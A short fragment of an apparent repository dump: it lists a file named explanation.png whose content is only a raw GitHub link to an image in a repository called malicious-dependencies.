14 |
--------------------------------------------------------------------------------
/explanation.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jeremylong/malicious-dependencies/577a28e602d6c46f24eff103000ca9b71c52d724/explanation.png
--------------------------------------------------------------------------------